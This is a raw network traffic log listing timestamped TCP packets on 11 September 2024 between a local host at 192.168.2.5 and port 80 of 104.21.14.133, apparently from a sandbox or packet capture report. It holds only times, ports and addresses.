Sep 11, 2024 18:23:49.169740915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169747114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169750929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169756889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169760942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169806004 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.169806004 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.169816971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169821978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169826984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169836998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.169926882 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.170006037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170011044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170015097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170061111 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.170069933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170101881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170105934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170115948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170121908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170125008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170130014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170135021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170139074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170144081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170151949 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.170166969 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.170259953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170264006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170268059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170274973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170278072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170280933 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.170281887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170288086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170291901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170299053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170303106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170306921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170310974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170315981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170319080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170325041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170331001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170340061 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.170341015 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.170348883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.170353889 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.170383930 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.170396090 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.181412935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181427002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181440115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181446075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181449890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181453943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181458950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181462049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181466103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181472063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181478024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181485891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181490898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181495905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181499004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181503057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181505919 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.181505919 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.181509018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181704044 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.181704998 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.181704998 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.181754112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181759119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181763887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181802034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181807041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181811094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181822062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181823015 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.181827068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181847095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181854963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181859016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181864023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181864977 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.181870937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181874990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181879044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.181919098 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.181919098 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.181919098 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.182008028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182012081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182015896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182027102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182030916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182044029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182056904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182060003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182064056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182069063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182073116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182077885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182085037 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.182085037 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.182193041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182197094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182202101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182212114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182215929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182220936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182226896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182230949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182234049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182239056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182243109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182246923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182254076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182257891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182261944 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.182261944 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.182261944 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.182267904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182279110 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.182279110 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.182316065 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.182336092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182341099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182344913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182368040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182380915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182385921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182389975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182394981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182399988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182404041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182409048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182413101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182416916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182420969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182445049 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.182445049 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.182445049 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.182467937 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.182600975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182605028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182610035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182621002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182624102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182627916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182640076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182645082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182648897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182655096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182657957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182662010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182668924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182673931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182724953 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.182724953 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.182724953 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.182724953 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.182816982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182821989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182826042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182836056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182838917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182842970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182847023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182934046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182938099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182944059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182955027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182957888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182962894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182969093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182972908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182977915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182984114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182986975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182990074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182996988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.182996988 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.182996988 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.182996988 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.183001041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.183007002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.183011055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.183078051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.183083057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.183087111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.183098078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.183101892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.183105946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.183110952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.183115005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.183129072 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.183129072 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.183129072 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.183129072 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.183172941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.183176994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.183181047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.183192015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.183196068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.183199883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.183204889 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.183204889 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.183224916 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.183319092 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.186362028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.186383009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.186387062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.186428070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.186580896 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.186619997 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.187210083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187213898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187217951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187263012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187266111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187269926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187278986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187283039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187311888 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.187313080 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.187356949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187361002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187364101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187370062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187372923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187376976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187391996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187395096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187398911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187403917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187407017 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.187427998 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.187434912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187438965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187443018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187446117 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.187474966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187479019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187483072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187493086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187496901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187500000 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187504053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187546015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187550068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187553883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187623024 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.187623024 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.187623978 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.187638044 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.187652111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187655926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187659979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187669039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187671900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187674999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187680960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187685013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187688112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187705994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187710047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187714100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187726021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187728882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187760115 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.187760115 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.187761068 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.187761068 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.187808037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187812090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187815905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187825918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187829018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187833071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187844038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187849045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187853098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187856913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187860012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187864065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187869072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187871933 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.187874079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187928915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.187928915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.187928915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.187985897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187990904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.187994957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.188060999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.188064098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.188067913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.188080072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.188086033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.188102007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.188107014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.188110113 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.188110113 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.188111067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.188114882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.188137054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.188139915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.188144922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.188179016 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.188190937 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.188190937 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.188193083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.188196898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.188200951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.188210011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.188213110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.188215971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.188303947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.188303947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.427643061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427653074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427676916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427690029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427694082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427716970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427725077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427728891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427738905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427745104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427748919 CEST	80	49710	104.21.14.133	192.168.2.5
